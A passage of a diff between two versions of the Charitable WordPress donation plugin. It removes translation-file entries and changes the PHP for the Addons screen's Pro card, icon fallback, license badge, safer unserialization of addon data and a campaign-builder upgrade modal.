\"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:95\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:72\n-msgid \"Include Recurring Donations\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:100\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:77\n-msgid \"If you have the Recurring Donations addon enabled, enable this to include recurring donations in the display.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:113\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Findex.js:96\n-msgid \"My Donations\"\n-msgstr \"\"\n-\n #: _legacy_src\u002Fblocks\u002Fcampaign-block-container\u002Finspector.js:27\n #: _legacy_src\u002Fblocks\u002Fcampaign-progress-bar\u002Finspector.js:33\n #: _legacy_src\u002Fblocks\u002Fcampaign-stats\u002Finspector.js:39\n@@ -20029,110 +20000,3 @@\n #: _legacy_src\u002Fcomponents\u002Fcategory-select\u002Findex.js:167\n msgid \"No categories found\"\n msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Fblock.json\n-msgctxt \"block title\"\n-msgid \"Campaign Progress Bar\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Fblock.json\n-msgctxt \"block description\"\n-msgid \"Display a live progress bar for a particular campaign.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Fblock.json\n-msgctxt \"block keyword\"\n-msgid \"charitable\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Fblock.json\n-msgctxt \"block keyword\"\n-msgid \"campaign\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-progress-bar\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Fblock.json\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Fblock.json\n-msgctxt \"block keyword\"\n-msgid \"donation\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Fblock.json\n-msgctxt \"block title\"\n-msgid \"Campaign Stats\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaign-stats\u002Fbuild\u002Fblock.json\n-msgctxt \"block description\"\n-msgid \"Allows various statistics to be dynamically calculated and displayed on a page.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Fblock.json\n-msgctxt \"block title\"\n-msgid \"Campaigns\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fcampaigns\u002Fbuild\u002Fblock.json\n-msgctxt \"block description\"\n-msgid \"Display multiple Charitable campaigns in a grid.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Fblock.json\n-msgctxt \"block title\"\n-msgid \"Donation Button\u002FLink\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonation-button\u002Fbuild\u002Fblock.json\n-msgctxt \"block description\"\n-msgid \"Display a donation button for a particular campaign.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Fblock.json\n-msgctxt \"block title\"\n-msgid \"Donations\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonations\u002Fbuild\u002Fblock.json\n-msgctxt \"block description\"\n-msgid \"Display a simple donation widget for a campaign.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Fblock.json\n-msgctxt \"block title\"\n-msgid \"Donors Block\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fdonors\u002Fbuild\u002Fblock.json\n-msgctxt \"block description\"\n-msgid \"Display a list of donors to one or all of your campaigns.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Fblock.json\n-msgctxt \"block title\"\n-msgid \"My Donations\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Fblock.json\n-msgctxt \"block description\"\n-msgid \"Displays a list of donations for the current logged in user.\"\n-msgstr \"\"\n-\n-#: assets\u002Fjs\u002Fblocks\u002Fmy-donations\u002Fbuild\u002Fblock.json\n-msgctxt \"block keyword\"\n-msgid \"account\"\n-msgstr \"\"\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fabstracts\u002Fabstract-class-charitable-form.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fabstracts\u002Fabstract-class-charitable-form.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fabstracts\u002Fabstract-class-charitable-form.php\t2026-01-09 13:50:28.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fabstracts\u002Fabstract-class-charitable-form.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -632,7 +632,7 @@\n \t\t\t\t'Charitable_Public_Form_View::get_template_name()'\n \t\t\t);\n \n-\t\t\treturn $form->view()->get_template_name( $field );\n+\t\t\treturn $this->view()->get_template_name( $field );\n \t\t}\n \n \t\t\u002F**\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php\t2026-02-19 20:09:36.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Faddons-directory\u002Fclass-charitable-addons-directory.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -479,27 +479,114 @@\n \t\t\t\u002F\u002F phpcs:enable\n \n \t\t\t\u002F*\n-\t\t\t* Remove addons that are not needed for pro.\n+\t\t\t* Pro addon card visibility in the Charitable → Addons screen.\n+\t\t\t*\n+\t\t\t* Default: both `charitable-pro-plugin` and `charitable-pro` slugs are hidden\n+\t\t\t* so the normal upgrade path (wpcharitable.com checkout → Plugins → Add New\n+\t\t\t* upload) is the only way to install Pro.\n+\t\t\t*\n+\t\t\t* With CHARITABLE_SHOW_PRO_IN_ADDONS defined truthy (wp-config.php or a\n+\t\t\t* code-snippet plugin), the Pro card is exposed so Pro can be installed\n+\t\t\t* server-to-server from this screen — unblocking managed-host customers\n+\t\t\t* (WP.com, Kinsta, WP Engine, SiteGround) whose manual-upload path rejects\n+\t\t\t* the Pro zip with `http_error`.\n+\t\t\t*\n+\t\t\t* The wpcharitable.com addons API currently returns Pro under the legacy slug\n+\t\t\t* `charitable-pro-plugin`, while on disk Pro lives at `charitable-pro\u002F\n+\t\t\t* charitable-pro.php`. If we rendered the raw entry, install-state detection,\n+\t\t\t* basename lookup, and activation would all use the wrong path and the flow\n+\t\t\t* would fail at activation. So when we expose Pro we NORMALISE the entry in\n+\t\t\t* place: rewrite its slug to `charitable-pro` and its path to match the\n+\t\t\t* on-disk location.\n+\t\t\t*\n+\t\t\t* Wrapped in try\u002Fcatch so that any unexpected payload shape cannot fatal the\n+\t\t\t* admin Addons screen. On failure we fall back to the safe pre-1.8.10.5\n+\t\t\t* behaviour of hiding both Pro slugs.\n \t\t\t*\n \t\t\t* @since 1.8.5\n \t\t\t*\u002F\n-\t\t\t$addons_to_remove = array(\n-\t\t\t\t'charitable-pro-plugin',\n-\t\t\t\t'charitable-pro',\n-\t\t\t);\n+\t\t\ttry {\n+\t\t\t\t$show_pro = defined( 'CHARITABLE_SHOW_PRO_IN_ADDONS' ) && CHARITABLE_SHOW_PRO_IN_ADDONS;\n+\n+\t\t\t\tforeach ( $addon_categories as $slug => &$category ) {\n+\t\t\t\t\tif ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) {\n+\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t}\n+\t\t\t\t\tforeach ( $category['addons'] as $k => &$v ) {\n+\t\t\t\t\t\tif ( ! is_array( $v ) || ! isset( $v['slug'] ) ) {\n+\t\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t\t}\n+\n+\t\t\t\t\t\t$is_pro_legacy    = 'charitable-pro-plugin' === $v['slug'];\n+\t\t\t\t\t\t$is_pro_canonical = 'charitable-pro' === $v['slug'];\n+\n+\t\t\t\t\t\tif ( ! $is_pro_legacy && ! $is_pro_canonical ) {\n+\t\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t\t}\n+\n+\t\t\t\t\t\tif ( ! $show_pro ) {\n+\t\t\t\t\t\t\tunset( $category['addons'][ $k ] );\n+\t\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t\t}\n+\n+\t\t\t\t\t\t\u002F\u002F Normalise the legacy slug onto the canonical on-disk layout so\n+\t\t\t\t\t\t\u002F\u002F install, activation, and \"is installed\" detection all line up.\n+\t\t\t\t\t\tif ( $is_pro_legacy ) {\n+\t\t\t\t\t\t\t$v['slug'] = 'charitable-pro';\n+\t\t\t\t\t\t\t$v['path'] = 'charitable-pro\u002Fcharitable-pro.php';\n+\t\t\t\t\t\t}\n+\t\t\t\t\t}\n+\t\t\t\t\t\u002F\u002F Reindex array after any removal.\n+\t\t\t\t\t$category['addons'] = array_values( $category['addons'] );\n+\t\t\t\t}\n+\t\t\t\tunset( $category ); \u002F\u002F Break the reference.\n+\t\t\t\tunset( $v ); \u002F\u002F Break the reference.\n \n-\t\t\t\u002F\u002F Recursively remove specified addons.\n-\t\t\tforeach ( $addon_categories as $slug => &$category ) {\n-\t\t\t\tforeach ( $category['addons'] as $k => &$v ) {\n-\t\t\t\t\tif ( is_array( $v ) && isset( $v['slug'] ) && in_array( $v['slug'], $addons_to_remove ) ) {\n-\t\t\t\t\t\tunset( $category['addons'][ $k ] );\n+\t\t\t\t\u002F\u002F Defensive dedup: if both the legacy and canonical slugs were present\n+\t\t\t\t\u002F\u002F server-side, the rename above could produce two `charitable-pro`\n+\t\t\t\t\u002F\u002F entries. Keep only the first across all categories.\n+\t\t\t\tif ( $show_pro ) {\n+\t\t\t\t\t$seen_pro = false;\n+\t\t\t\t\tforeach ( $addon_categories as $slug => &$category ) {\n+\t\t\t\t\t\tif ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) {\n+\t\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t\t}\n+\t\t\t\t\t\tforeach ( $category['addons'] as $k => &$v ) {\n+\t\t\t\t\t\t\tif ( is_array( $v ) && isset( $v['slug'] ) && 'charitable-pro' === $v['slug'] ) {\n+\t\t\t\t\t\t\t\tif ( $seen_pro ) {\n+\t\t\t\t\t\t\t\t\tunset( $category['addons'][ $k ] );\n+\t\t\t\t\t\t\t\t} else {\n+\t\t\t\t\t\t\t\t\t$seen_pro = true;\n+\t\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t}\n+\t\t\t\t\t\t$category['addons'] = array_values( $category['addons'] );\n \t\t\t\t\t}\n+\t\t\t\t\tunset( $category );\n+\t\t\t\t\tunset( $v );\n+\t\t\t\t}\n+\t\t\t} catch ( \\Throwable $e ) {\n+\t\t\t\t\u002F\u002F Fall back to the pre-1.8.10.5 behaviour: always hide both Pro slugs.\n+\t\t\t\t$addons_to_remove = array( 'charitable-pro-plugin', 'charitable-pro' );\n+\t\t\t\tif ( is_array( $addon_categories ) ) {\n+\t\t\t\t\tforeach ( $addon_categories as $slug => &$category ) {\n+\t\t\t\t\t\tif ( ! is_array( $category ) || ! isset( $category['addons'] ) || ! is_array( $category['addons'] ) ) {\n+\t\t\t\t\t\t\tcontinue;\n+\t\t\t\t\t\t}\n+\t\t\t\t\t\tforeach ( $category['addons'] as $k => &$v ) {\n+\t\t\t\t\t\t\tif ( is_array( $v ) && isset( $v['slug'] ) && in_array( $v['slug'], $addons_to_remove, true ) ) {\n+\t\t\t\t\t\t\t\tunset( $category['addons'][ $k ] );\n+\t\t\t\t\t\t\t}\n+\t\t\t\t\t\t}\n+\t\t\t\t\t\t$category['addons'] = array_values( $category['addons'] );\n+\t\t\t\t\t}\n+\t\t\t\t\tunset( $category );\n+\t\t\t\t\tunset( $v );\n+\t\t\t\t}\n+\t\t\t\tif ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) {\n+\t\t\t\t\terror_log( 'CHARITABLE: Pro addon card gating failed: ' . $e->getMessage() ); \u002F\u002F phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log\n \t\t\t\t}\n-\t\t\t\t\u002F\u002F Reindex array after removal.\n-\t\t\t\t$category['addons'] = array_values( $category['addons'] );\n \t\t\t}\n-\t\t\tunset( $category ); \u002F\u002F Break the reference.\n-\t\t\tunset( $v ); \u002F\u002F Break the reference.\n \t\t\t?>\n \n \t\t\t\u003Cdiv id=\"charitable-addons\">\n@@ -723,6 +810,35 @@\n \t\t\t\t\t\t$addon['action'] = 'install';\n \t\t\t\t\t}\n \t\t\t\t}\n+\n+\t\t\t\t\u002F*\n+\t\t\t\t * Charitable Pro is available to every legitimate license tier (Basic,\n+\t\t\t\t * Plus, Pro, Agency). The tier-match loop above would otherwise show\n+\t\t\t\t * \"Upgrade Now\" to Basic\u002FPlus customers because Pro's API license field\n+\t\t\t\t * typically only lists `pro`. Override to \"install\" when the current\n+\t\t\t\t * site has any valid license AND the API actually returned a usable\n+\t\t\t\t * download_link — without a download_link the install step would fail,\n+\t\t\t\t * so we fall back to the upgrade CTA in that case.\n+\t\t\t\t *\n+\t\t\t\t * Wrapped in try\u002Fcatch so that a failure in the licence helper chain\n+\t\t\t\t * (registry \u002F vendor licence lookup) cannot fatal an admin page render.\n+\t\t\t\t * On failure the card simply keeps whatever action the tier-match loop\n+\t\t\t\t * above assigned — i.e. the original pre-1.8.10.5 behaviour.\n+\t\t\t\t *\u002F\n+\t\t\t\ttry {\n+\t\t\t\t\tif ( 'charitable-pro' === $addon['slug']\n+\t\t\t\t\t\t&& 'install' !== $addon['action']\n+\t\t\t\t\t\t&& function_exists( 'charitable_is_pro' )\n+\t\t\t\t\t\t&& charitable_is_pro()\n+\t\t\t\t\t\t&& ! empty( $addon['download_link'] ) ) {\n+\t\t\t\t\t\t$addon['status'] = 'missing';\n+\t\t\t\t\t\t$addon['action'] = 'install';\n+\t\t\t\t\t}\n+\t\t\t\t} catch ( \\Throwable $e ) {\n+\t\t\t\t\tif ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) {\n+\t\t\t\t\t\terror_log( 'CHARITABLE: Pro install-action override failed: ' . $e->getMessage() ); \u002F\u002F phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log\n+\t\t\t\t\t}\n+\t\t\t\t}\n \t\t\t} else { \u002F\u002F phpcs:ignore\n \t\t\t\t\u002F\u002F Plugin is installed.\n \t\t\t\tif ( $addon['is_active'] ) {\n@@ -763,22 +879,55 @@\n \n \t\t\t$status_label = $this->get_addon_status_label( $addon['status'] );\n \n-\t\t\t\u002F\u002F get the icon\u002Fgraphic.\n-\t\t\t$icon = isset( $addon['icon'] ) ? esc_url( $addon['icon'] ) : 'placeholder';\n-\n-\t\t\t$icon_file_name = str_replace( 'charitable-', '', $addon['slug'] );\n-\t\t\t$icon_file_name = str_replace( '-banner', '', $icon_file_name );\n-\n-\t\t\t\u002F\u002F Locate icon, if it exists.\n-\t\t\tif ( ! file_exists( charitable()->get_path( 'assets', true ) . 'images\u002Faddons\u002Faddon-icon-' . $icon_file_name . '.png' ) ) {\n-\t\t\t\t$icon = charitable()->get_path( 'assets', false ) . 'images\u002Faddons\u002Faddon-icon-stripe.png';\n+\t\t\t\u002F\u002F Resolve the icon. Lookup order:\n+\t\t\t\u002F\u002F   1. Local SVG  (assets\u002Fimages\u002Faddons\u002Faddon-icon-{slug}.svg)\n+\t\t\t\u002F\u002F   2. Local PNG  (assets\u002Fimages\u002Faddons\u002Faddon-icon-{slug}.png)\n+\t\t\t\u002F\u002F   3. API-supplied icon URL (so newly added addons show the right art\n+\t\t\t\u002F\u002F      even before a local asset ships in a Lite release)\n+\t\t\t\u002F\u002F   4. Stripe placeholder (last resort so the card never renders broken)\n+\t\t\t$icon_file_name   = str_replace( array( 'charitable-', '-banner' ), '', $addon['slug'] );\n+\t\t\t$assets_path_fs   = charitable()->get_path( 'assets', true ) . 'images\u002Faddons\u002F';\n+\t\t\t$assets_path_url  = charitable()->get_path( 'assets', false ) . 'images\u002Faddons\u002F';\n+\t\t\t$placeholder_icon = $assets_path_url . 'addon-icon-stripe.png';\n+\n+\t\t\tif ( file_exists( $assets_path_fs . 'addon-icon-' . $icon_file_name . '.svg' ) ) {\n+\t\t\t\t$icon = $assets_path_url . 'addon-icon-' . $icon_file_name . '.svg';\n+\t\t\t} elseif ( file_exists( $assets_path_fs . 'addon-icon-' . $icon_file_name . '.png' ) ) {\n+\t\t\t\t$icon = $assets_path_url . 'addon-icon-' . $icon_file_name . '.png';\n+\t\t\t} elseif ( ! empty( $addon['icon'] ) && filter_var( $addon['icon'], FILTER_VALIDATE_URL ) ) {\n+\t\t\t\t$icon = esc_url( $addon['icon'] );\n \t\t\t} else {\n-\t\t\t\t$icon = charitable()->get_path( 'assets', false ) . 'images\u002Faddons\u002Faddon-icon-' . $icon_file_name . '.png';\n+\t\t\t\t$icon = $placeholder_icon;\n \t\t\t}\n \n \t\t\t\u002F\u002F get the plugin description.\n-\t\t\t$sections       = unserialize( $addon['sections'] ); \u002F\u002F phpcs:ignore\n-\t\t\t$description    = wp_strip_all_tags( ( $sections['description'] ) );\n+\t\t\t\u002F\u002F Guard against a missing \u002F malformed `sections` entry from the API so a\n+\t\t\t\u002F\u002F single bad addon row can't blow up the whole directory render. Belt +\n+\t\t\t\u002F\u002F suspenders: the conditions below handle normal failure modes, and the\n+\t\t\t\u002F\u002F try\u002Fcatch handles anything pathological.\n+\t\t\t$sections    = array();\n+\t\t\t$description = '';\n+\t\t\ttry {\n+\t\t\t\tif ( isset( $addon['sections'] ) && is_string( $addon['sections'] ) && '' !== $addon['sections'] ) {\n+\t\t\t\t\t$maybe_sections = @unserialize( $addon['sections'], array( 'allowed_classes' => false ) ); \u002F\u002F phpcs:ignore\n+\t\t\t\t\tif ( is_array( $maybe_sections ) ) {\n+\t\t\t\t\t\t$sections = $maybe_sections;\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t\t$description = wp_strip_all_tags( isset( $sections['description'] ) ? (string) $sections['description'] : '' );\n+\t\t\t} catch ( \\Throwable $e ) {\n+\t\t\t\t$description = '';\n+\t\t\t\tif ( function_exists( 'charitable_is_debug' ) && charitable_is_debug() ) {\n+\t\t\t\t\terror_log( 'CHARITABLE: Addon description parse failed: ' . $e->getMessage() ); \u002F\u002F phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\t\u002F\u002F The wpcharitable.com addons API currently returns an empty description for\n+\t\t\t\u002F\u002F the Charitable Pro entry. Provide a hard-coded fallback so the card always\n+\t\t\t\u002F\u002F has a meaningful description on this screen.\n+\t\t\tif ( 'charitable-pro' === $addon['slug'] && '' === trim( $description ) ) {\n+\t\t\t\t$description = __( 'Charitable Pro is the upgraded version of your current Charitable plugin, with built-in features and compatibility for more advanced addons. Installing Pro will replace this Lite version while keeping all your existing settings and data.', 'charitable' );\n+\t\t\t}\n \t\t\t$is_recommended = ( isset( $addon['featured'] ) && is_array( $addon['featured'] ) && in_array( 'recommended', $addon['featured'] ) ) ? true : false; \u002F\u002F phpcs:ignore\n \n \t\t\t\u002F\u002F css.\n@@ -789,8 +938,13 @@\n \t\t\t}\n \n \t\t\t\u002F\u002F Output the card.\n-\n-\t\t\t$addon_name       = str_replace( 'Charitable ', '', $addon['name'] );\n+\t\t\t\u002F\u002F Most addon cards strip the redundant \"Charitable \" prefix so the title\n+\t\t\t\u002F\u002F reads cleanly (e.g. \"Fee Relief\" instead of \"Charitable Fee Relief\").\n+\t\t\t\u002F\u002F The Pro card is the exception — without the brand name it just reads as\n+\t\t\t\u002F\u002F \"Pro\", which is meaningless. Keep the full name only for that slug.\n+\t\t\t$addon_name       = ( 'charitable-pro' === $addon['slug'] )\n+\t\t\t\t? $addon['name']\n+\t\t\t\t: str_replace( 'Charitable ', '', $addon['name'] );\n \t\t\t$landing_page_url = ! empty( $addon['homepage'] ) ? $addon['homepage'] : false;\n \t\t\t$landing_page_url = false === $landing_page_url ? $addon['upgrade_url'] : $landing_page_url;\n \t\t\t?>\n@@ -798,7 +952,7 @@\n \n \t\t\t\u003Cdiv class=\"charitable-addons-list-item \u003C?php echo esc_attr( implode( ' ', $css ) ); ?>\">\n \t\t\t\t\u003Cdiv class=\"charitable-addons-list-item-header\">\n-\t\t\t\t\t\u003Cimg src=\"\u003C?php echo esc_url( $icon ); ?>\" alt=\"\u003C?php echo esc_html( $addon['name'] ); ?> logo\">\n+\t\t\t\t\t\u003Cimg src=\"\u003C?php echo esc_url( $icon ); ?>\" alt=\"\u003C?php echo esc_html( $addon['name'] ); ?> logo\" onerror=\"this.onerror=null;this.src='\u003C?php echo esc_url( $placeholder_icon ); ?>';\">\n \n \t\t\t\t\t\u003Cdiv class=\"charitable-addons-list-item-header-meta\">\n \t\t\t\t\t\t\u003Cdiv class=\"charitable-addons-list-item-header-meta-title\">\n@@ -819,7 +973,17 @@\n \t\t\t\t\u003Cdiv class=\"charitable-addons-list-item-footer charitable-addons-list-item-footer-installed\" data-plugin=\"\u003C?php echo esc_attr( $addon['path'] ); ?>\" data-type=\"addon\">\n \t\t\t\t\t\u003Cdiv>\n \t\t\t\t\t\t\u003C?php if ( ! empty( $addon['license'] ) ) : ?>\n-\t\t\t\t\t\t\u003Cspan class=\"charitable-badge charitable-badge-lg charitable-badge-inline charitable-badge-titanium charitable-badge-rounded\">\u003C?php echo esc_html( end( $addon['license'] ) ); ?>\u003C\u002Fspan>\n+\t\t\t\t\t\t\u003C?php\n+\t\t\t\t\t\t\u002F\u002F The license badge defaults to the highest tier the addon is\n+\t\t\t\t\t\t\u002F\u002F available in. Charitable Pro is available to every legitimate\n+\t\t\t\t\t\t\u002F\u002F license tier, so showing the \"Pro\" tier label is misleading —\n+\t\t\t\t\t\t\u002F\u002F surface \"All Plans\" instead so customers on Basic\u002FPlus realise\n+\t\t\t\t\t\t\u002F\u002F they can install it too.\n+\t\t\t\t\t\t$license_badge_text = ( 'charitable-pro' === $addon['slug'] )\n+\t\t\t\t\t\t\t? __( 'All Plans', 'charitable' )\n+\t\t\t\t\t\t\t: end( $addon['license'] );\n+\t\t\t\t\t\t?>\n+\t\t\t\t\t\t\u003Cspan class=\"charitable-badge charitable-badge-lg charitable-badge-inline charitable-badge-titanium charitable-badge-rounded\">\u003C?php echo esc_html( $license_badge_text ); ?>\u003C\u002Fspan>\n \t\t\t\t\t\t\u003C?php endif; ?>\n \t\t\t\t\t\u003C\u002Fdiv>\n \ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.4\u002Fincludes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php\t2026-02-03 18:30:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcharitable\u002F1.8.10.5\u002Fincludes\u002Fadmin\u002Fcampaign-builder\u002Fclass-charitable-campaign-builder.php\t2026-05-11 23:16:48.000000000 +0000\n@@ -7,7 +7,7 @@\n  * @copyright Copyright (c) 2023, WP Charitable LLC\n  * @license   http:\u002F\u002Fopensource.org\u002Flicenses\u002Fgpl-2.0.php GNU Public License\n  * @since     1.8.0\n- * @version   1.8.9.1\n+ * @version   1.8.10.5\n  *\u002F\n \n \u002F\u002F Exit if accessed directly.\n@@ -227,6 +227,11 @@\n \t\t\t$this->view        = isset( $_GET['view'] ) ? esc_attr( $_GET['view'] ) : false; \u002F\u002F phpcs:ignore\n \t\t\t$this->campaign_id = isset( $_GET['campaign_id'] ) ? intval( $_GET['campaign_id'] ) : false; \u002F\u002F phpcs:ignore\n \n+\t\t\t\u002F\u002F Lite has no Form panel content; fall back if ?view=form is requested directly.\n+\t\t\tif ( 'form' === $this->view ) {\n+\t\t\t\t$this->view = false;\n+\t\t\t}\n+\n \t\t\t\u002F\u002F if no view was past, determine if the new campaign cofmr has been used (check settings) and if not redirect to template screen.\n \t\t\tif ( $this->campaign_id && ! $this->view ) {\n \t\t\t\t$campaign_data = get_post_meta( $this->campaign_id, 'campaign_settings_v2' );\n@@ -952,6 +957,17 @@\n \t\t\t\t\t)\n \t\t\t\t),\n \t\t\t\t'charitable_addons_page'            => esc_url( admin_url( 'admin.php?page=charitable-addons' ) ),\n+\t\t\t\t'form_upgrade_modal'                => array(\n+\t\t\t\t\t'title'       => esc_html__( 'Unlock the Visual Form Builder', 'charitable' ),\n+\t\t\t\t\t'message'     => '\u003Cp>' . esc_html__( \"The Charitable Pro plugin's visual form builder lets you drag and drop fields, build multi-step donation flows, and customize every part of your donation form - all without writing code.\", 'charitable' ) . '\u003C\u002Fp>\u003Cp>' . esc_html__( 'Upgrade to any paid Charitable plan to unlock the Charitable Pro plugin and design your forms exactly the way you want.', 'charitable' ) . '\u003C\u002Fp>',\n+\t\t\t\t\t'button'      => esc_html__( 'Get Charitable Pro', 'charitable' ),\n+\t\t\t\t\t'doc'         => sprintf(\n+\t\t\t\t\t\t'\u003Cdiv class=\"already-purchased-div\">\u003Ca href=\"%1$s\" target=\"_blank\" rel=\"noopener noreferrer\" class=\"already-purchased\">%2$s\u003C\u002Fa>\u003C\u002Fdiv>',\n+\t\t\t\t\t\tesc_url( 'https:\u002F\u002Fwww.wpcharitable.com\u002Fdocumentation\u002Fhow-to-use-donation-form-visual-builder\u002F' ),\n+\t\t\t\t\t\tesc_html__( 'Learn More', 'charitable' )\n+\t\t\t\t\t),\n+\t\t\t\t\t'upgrade_url' => charitable_admin_upgrade_link( 'Campaign+Builder+Form+Panel+Modal' ),\n+\t\t\t\t),\n \t\t\t\t'charitable_license_label'          => esc_html( Charitable_Licenses_Settings::get_instance()->get_license_label_from_plan_id() ),\n \t\t\t\t'charitable_form_name'              => $campaign_name,\n \t\t\t\t'charitable_assets_dir'             => apply_filters(\n@@ -1156,6 +1172,7 @@\n \t\t * Load 